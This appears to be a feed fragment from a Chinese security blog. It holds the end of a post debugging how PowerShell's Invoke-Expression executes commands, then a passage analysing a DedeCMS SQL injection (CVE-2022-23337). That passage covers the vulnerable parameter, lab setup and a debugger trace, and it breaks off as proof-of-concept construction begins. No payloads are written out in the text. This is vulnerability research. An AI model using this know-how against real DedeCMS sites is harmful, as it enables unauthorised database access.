&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa4e2b6f9-3b18-479a-bc30-3d04aa2a7fcd%2FUntitled.png?table=block&amp;amp;id=0b3b65b7-c6bc-43c0-bc03-4eb420123b7b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;这里拿到&lt;code&gt;commandinfo&lt;/code&gt;为&lt;code&gt;Invoke-Expression&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F2dfe1d62-50a1-48eb-b169-a6522c5efcb2%2FUntitled.png?table=block&amp;amp;id=eec6a916-42a5-40a5-b1fd-29729cf65c9f&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;此时的调用栈&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc6a5754b-f678-4bf1-8aaa-46de8817a97e%2FUntitled.png?table=block&amp;amp;id=d9427385-7049-468f-b2ee-b0cef13a75bb&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;后续CreateCommandProcessor&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F4fe914f7-f5a9-4051-b6f8-a2b529662397%2FUntitled.png?table=block&amp;amp;id=18424a14-8878-4506-b800-81c75149bc1e&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;堆栈&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F10d6f436-d6da-4efb-9d8d-c091a5db9bd4%2FUntitled.png?table=block&amp;amp;id=e61ef5fa-25ac-4d6d-b570-6795980e32ed&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;第三步 cmdlet执行其他命令&lt;/h4&gt;
&lt;p&gt;接着上一步获取到iex的参数为&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F42f7401e-5527-4f63-a0c1-af53bf012008%2FUntitled.png?table=block&amp;amp;id=002fc286-c024-4969-8343-c997e6f71556&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;堆栈&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F4de78c66-0ed2-4602-9ae2-4c2b8a3a79f8%2FUntitled.png?table=block&amp;amp;id=3053957c-bb3e-4aea-9044-31b4b8ca3884&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;返回值commandProcessorBase&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F92e5b095-fd9b-4865-9537-98d7f22ad638%2FUntitled.png?table=block&amp;amp;id=39131610-34ef-4b72-a31f-8f35f022e75a&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;堆栈&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F2e29bbab-5997-4f42-abe3-67ad480dfe9c%2FUntitled.png?table=block&amp;amp;id=98e01ae6-09a5-47a2-a997-9aed2bcd041d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;

&lt;p&gt;加载cmdlet后，在 &lt;code&gt;Microsoft.Powershell.Commands.Utility.dll&lt;/code&gt;(appdomain)模块中 &lt;code&gt;Microsoft.Powershell.Commands.InvokeExpressionCommand&lt;/code&gt;类 断下，逐过程调试，在 &lt;code&gt;System.Management.Automation.dll!System.Management.Automation.CommandProcessor.ProcessRecord() (IL=0x0175, Native=0x00007FFC4D86B9B0+0x50D)&lt;/code&gt; 获取到cmdlet的参数，即执行的命令&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F53e7b1e2-35aa-43af-ba98-1f7800971dab%2FUntitled.png?table=block&amp;amp;id=728f532d-4b44-45f4-8065-c6e881659e09&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;此时的调用栈&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F0053e1d6-0aac-480c-9006-47bd3c2ff180%2FUntitled.png?table=block&amp;amp;id=d6cb835f-cf41-46ce-9146-fb2ec733257a&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;逐语句跟进到&lt;code&gt;InvokeWithPipeLmpl&lt;/code&gt; ，经 &lt;code&gt;RunVoid1&lt;/code&gt; 来到 &lt;code&gt;Interpreter&lt;/code&gt; 的&lt;code&gt;Run&lt;/code&gt;函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F30616e8f-8f0e-440a-a16b-1b371a9caa81%2FUntitled.png?table=block&amp;amp;id=e64f61f3-a89f-4307-aa07-5435c16a88ed&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;执行命令&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F2c5ec24f-22e8-418f-8d43-3d67d4c1a4e3%2FUntitled.png?table=block&amp;amp;id=8ccd6dca-7b85-4fd0-9c8b-a529b7a178c1&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;完整堆栈&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F2d040be9-3fc5-433d-8cbe-2f22781b64df%2FUntitled.png?table=block&amp;amp;id=6fdff7f9-4ae0-4bdd-bcc0-9fef8ad5c046&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd5da9df5-fd88-4600-8834-518a0bbb9c5a%2FUntitled.png?table=block&amp;amp;id=f4c49b93-a25a-4ee0-a806-bf600bd751f5&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;最后返回值&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F94218e85-43f9-444a-a975-cd987cbc808a%2FUntitled.png?table=block&amp;amp;id=e76cdd78-748e-4e10-aabb-61ec0222acae&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;

&lt;p&gt;继续调试另一个iex命令&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F89230dc9-10ff-427f-84fe-433e0346e6d8%2FUntitled.png?table=block&amp;amp;id=ad0b9cd0-8118-465c-ae96-7e7042381def&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;解析iex命令的时候对new-object这个cmdlet又进行了lookup&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F8c5ed7c7-6597-4416-8584-041bce90e6c0%2FUntitled.png?table=block&amp;amp;id=fc75dee6-7cd5-4bf1-bda1-e81bd0bb7617&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;此时调用栈&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F744efe4c-cbfe-4d0a-9a73-7b907d0ac2fb%2FUntitled.png?table=block&amp;amp;id=a774226c-272a-47eb-b182-9456075888fd&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F108afb67-0998-49d8-b4e7-b708044d1a91%2FUntitled.png?table=block&amp;amp;id=09ba2698-fd43-42c1-b814-31ce5876f820&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;之后来到doexecute&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F0200b641-27d4-48ce-871f-0fccde1749da%2FUntitled.png?table=block&amp;amp;id=1ce1c33f-f768-4724-b186-0eee2e3318f3&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;此时堆栈&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9507f7f7-9333-46aa-a95e-4795d03fc034%2FUntitled.png?table=block&amp;amp;id=595863af-b413-4295-b7bb-83a88bd3bcb7&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fe786a8be-1e8d-421b-901f-0c190a0cf548%2FUntitled.png?table=block&amp;amp;id=8fbf80ba-27a5-4de5-a6ed-4354b6d6bb89&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;






















</content:encoded>
        </item>
        <item>
            <title><![CDATA[Dedecms article_coonepage_rule.php SQL注入漏洞(CVE-2022-23337)]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/dd-cms</link>
            <guid isPermaLink="true">https://z-zh.lol/dd-cms</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>

&lt;h2&gt;0 漏洞概述&lt;/h2&gt;
&lt;p&gt;根据CVE官网的通告，2022年1月18日收录了Dedecms v5.7.87的一个sql注入漏洞，漏洞点存在于&lt;code&gt;article_coonepage_rule.php&lt;/code&gt;，影响版本为&lt;code&gt;v5.7.87&lt;/code&gt;。 &lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fff886cca-d45d-45d0-97ad-b9ddb7e27056%2FUntitled.png?table=block&amp;amp;id=befc2044-9211-4566-9db3-aeae76a3d906&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;有且仅有的一个参考链接已经失效无法访问，估计作者不再公开文章了。经过一番查找，发现网上没有任何相关的poc和文章，于是决定分析一下缘由并构造利用POC。&lt;/p&gt;
&lt;h2&gt;1 环境&lt;/h2&gt;
&lt;h3&gt;1.1 影响版本&lt;/h3&gt;
&lt;p&gt;在官网查看更新日志，发现&lt;code&gt;v5.7.88&lt;/code&gt;并未有对&lt;code&gt;article_coonepage_rule.php&lt;/code&gt; 的相关更新描述和补丁，该漏洞在&lt;code&gt;v5.7.89&lt;/code&gt;才修复&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F2266ee19-3c83-40c1-9516-ede4f182c4c6%2FUntitled.png?table=block&amp;amp;id=e673b078-8fc5-4146-8b30-fce99e23537c&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;往前查看更新日志，直到&lt;code&gt;v5.7.42&lt;/code&gt;该漏洞文件都未记录有更改，可以下载旧版本的进行复现&lt;/p&gt;
&lt;h3&gt;1.2 环境搭建&lt;/h3&gt;
&lt;p&gt;‣&lt;/p&gt;
&lt;p&gt;笔者下载的是&lt;code&gt;V5.7.80 UTF-8正式版&lt;/code&gt;&lt;strong&gt;&lt;strong&gt; &lt;/strong&gt;&lt;/strong&gt;，从日志上看，&lt;code&gt;v5.7.88&lt;/code&gt;也是可行的。&lt;/p&gt;
&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;💡&lt;/span&gt;其他组件版本：
PHP 5.6.9nts
Apache 2.4.39
MySQL 5.7.26&lt;/div&gt;
&lt;p&gt;解压后访问 &lt;code&gt;/install&lt;/code&gt;文件夹按照步骤进行安装即可&lt;/p&gt;

&lt;p&gt;后台地址：&lt;code&gt;http://your-ip/DedeCMS-5.7.80/dede/&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc330ed15-0efc-4eb4-9e6f-e797754ea213%2FUntitled.png?table=block&amp;amp;id=3a8df089-df27-41b0-82b8-8b766ef181b9&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;2 漏洞形成&lt;/h2&gt;
&lt;h3&gt;2.1 漏洞点&lt;/h3&gt;
&lt;p&gt;查看 &lt;code&gt;/dede/article_coonepage_rule.php&lt;/code&gt; ，搜索 &lt;code&gt;ids&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1b89211d-1618-402a-a937-d9febf76c216%2FUntitled.png?table=block&amp;amp;id=3fccd497-12f7-4562-b3d5-fa0df4816bf2&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;只存在&lt;code&gt;$action&lt;/code&gt;为&lt;code&gt;del&lt;/code&gt;的代码中&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F107a9a34-d538-4688-9973-dd656d3e542c%2FUntitled.png?table=block&amp;amp;id=8ec2cf0d-bc40-4c43-8c48-2b3529b5e076&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;从以上代码上看是通过传入&lt;code&gt;id&lt;/code&gt; 从数据库中删除对应的&lt;code&gt;note&lt;/code&gt; ，判断&lt;code&gt;$action&lt;/code&gt;为&lt;code&gt;del&lt;/code&gt;后还有另一个动作，即通过传入的&lt;code&gt;id&lt;/code&gt;中是否含有逗号来判断是用户操作是单个删除还是多选删除&lt;/p&gt;
&lt;p&gt;单个删除的时候用单引号将id括起，多选的时候用括号。目前看来没有对传入的id进行处理便直接拼接，笔者尝试构造请求&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F6ae2c6ee-c147-4edf-ada6-21077d7f4b4c%2FUntitled.png?table=block&amp;amp;id=229906c4-be17-4785-990c-43c628c6bdfa&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;直接盲注没有成功&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1410d0bc-f1db-4299-869c-46df2a93bb36%2FUntitled.png?table=block&amp;amp;id=6a10c2da-bb74-4820-bb12-212b9c04be49&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;2.2 远程Debug&lt;/h3&gt;
&lt;p&gt;DeBug看看后端代码如何执行。&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;用phpstudy和phpstorm远程调试，搭建过程不赘述了，参考网上教程。&lt;/li&gt;
&lt;li&gt;在如图位置打断点，开启debug侦听，发送payload&lt;/li&gt;&lt;/ul&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc7dd18bc-ded6-491a-88f9-f60bee3575b4%2FUntitled.png?table=block&amp;amp;id=4ad0f720-4bd8-4ee3-8e40-3331373c5953&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F48a0ec40-0359-46e2-860e-184f16b7461e%2FUntitled.png?table=block&amp;amp;id=a2e83f94-9386-493d-9dd4-ca88df3b92ed&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;

&lt;ul&gt;&lt;li&gt;首先来到正则匹配判断&lt;/li&gt;&lt;/ul&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc814b367-7d10-41de-83c4-6121ced90aea%2FUntitled.png?table=block&amp;amp;id=59855edc-547c-40c8-97e6-c9675ef1f50b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;可以看到单引号被&lt;code&gt;addslashes&lt;/code&gt;了，闭合不了&lt;/p&gt;
&lt;p&gt;F7跟进到 &lt;code&gt;\DedeSqli::ExecuteNoneQuery&lt;/code&gt; &lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fab74c293-3587-4719-b636-01c856213cb3%2FUntitled.png?table=block&amp;amp;id=996b9335-1ed3-47ba-b508-7c6f6417b619&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;这是一个不返回结果的SQL语句，所以联合注入也不会回显结果&lt;/p&gt;
&lt;p&gt;继续跟进到 &lt;code&gt;Init&lt;/code&gt; 函数，获取数据库连接参数信息&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd6572495-1524-4127-aae1-782990fb90f1%2FUntitled.png?table=block&amp;amp;id=5c260fe0-7270-467c-b7b2-ac7ac6c5841d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;Open&lt;/code&gt;函数连接数据库&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F7a667b4a-0736-4935-989f-fc21ccd894ca%2FUntitled.png?table=block&amp;amp;id=218339a8-7868-4c61-a10d-0ffc6f4a38d0&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;后续判断数据库版本后进入查询，返回 &lt;code&gt;TRUE&lt;/code&gt;给&lt;code&gt;Open&lt;/code&gt;函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F17632b67-9b57-4bcc-a920-df1ddc5d2335%2FUntitled.png?table=block&amp;amp;id=d5eae305-8462-4800-9b41-3b5a98044f8e&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;继续步入，跟进 &lt;code&gt;SetQuery&lt;/code&gt; 函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fb49c60bc-0289-4338-a71e-d408493a027a%2FUntitled.png?table=block&amp;amp;id=bf507824-ea61-441a-88d0-e27beb08dbf7&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;这一步主要是用配置文件中的数据库前缀(安装cms时指定)格式化代码中的数据表前缀&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F60c96a2c-c0df-4649-9efa-e1bb16a68085%2FUntitled.png?table=block&amp;amp;id=3ca28b32-5ad6-4bb4-a2ed-a9132403583d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;接着注意到有一个SQL语句安全检查代码&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F41fa0895-d229-452b-b2c7-e2d42b037c62%2FUntitled.png?table=block&amp;amp;id=eafb1888-ab17-4fc1-97ad-8ee358785eda&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;跳转看看&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F25f9e1b9-021f-4998-8cdb-fa9aae62ffc0%2FUntitled.png?table=block&amp;amp;id=7140d71a-caec-488e-b6a6-86bbd60fb8c0&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F8e9c901c-bbce-427f-9a56-a4d80fd6afee%2FUntitled.png?table=block&amp;amp;id=5c6c6dd6-99a4-4d0b-afa5-ee18379baed1&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;粗略看一下做了很多检查，可以防止绝大多数的sql注入攻击了&lt;/p&gt;
&lt;p&gt;遗憾的是，这里的sql语句并没有进到检查，原因是初始化的时候 &lt;code&gt;$safeCheck&lt;/code&gt; 为 &lt;code&gt;false&lt;/code&gt; ，并且在此函数中没有赋为 &lt;code&gt;true&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1abdc939-c262-48c0-829b-d6fb27a8fe8f%2FUntitled.png?table=block&amp;amp;id=bf17a754-e00b-404b-bdd4-84538c76a3fc&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;所以直接跳过这段 CheckSql&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F946ceb05-6d73-4777-8ab0-6fd9e8c357dd%2FUntitled.png?table=block&amp;amp;id=98c0f13f-e6cf-46b9-a1c2-8ec1017a0ea3&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;后面一个&lt;code&gt;ExecTime&lt;/code&gt;函数计算执行时间，&lt;code&gt;mysqli_query&lt;/code&gt; 函数返回 &lt;code&gt;false&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ExecuteNoneQuery&lt;/code&gt; 返回 &lt;code&gt;false&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;最后回到 &lt;code&gt;dede/article_coonepage_rule.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查询 &lt;code&gt;co_onepage&lt;/code&gt; 表中的数据并渲染&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F60c0398a-092b-4e3f-93c0-bf1b32542f2c%2FUntitled.png?table=block&amp;amp;id=b93b6141-2c47-4eec-a319-cf30f557bed0&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;过程中传入id后执行删除操作，页面显示的内容为独立的代码从数据库中查出，用户不可控，所以没有对应的注入回显，只能将思路转到&lt;strong&gt;报错&lt;/strong&gt;和&lt;strong&gt;盲注&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;3 POC构造探索&lt;/h2&gt;
&lt;ul&gt;&lt;li&gt;后续试了用宽字节和其他字符对单引号进行闭合都没有成功，但是转念一想，就算能闭合引号，但是长的注入语句一般都会有逗号出现，出现了逗号就进入了另一条用括号包裹的sql语句，也就不需要上一步的闭合引号操作了&lt;/li&gt;&lt;/ul&gt;
&lt;h3&gt;3.1 报错注入？&lt;/h3&gt;
&lt;p&gt;由于是白盒，直接到后台构造报错语句&lt;/p&gt;
&lt;p&gt;可以看到这个表有6个字段&lt;/p&gt;
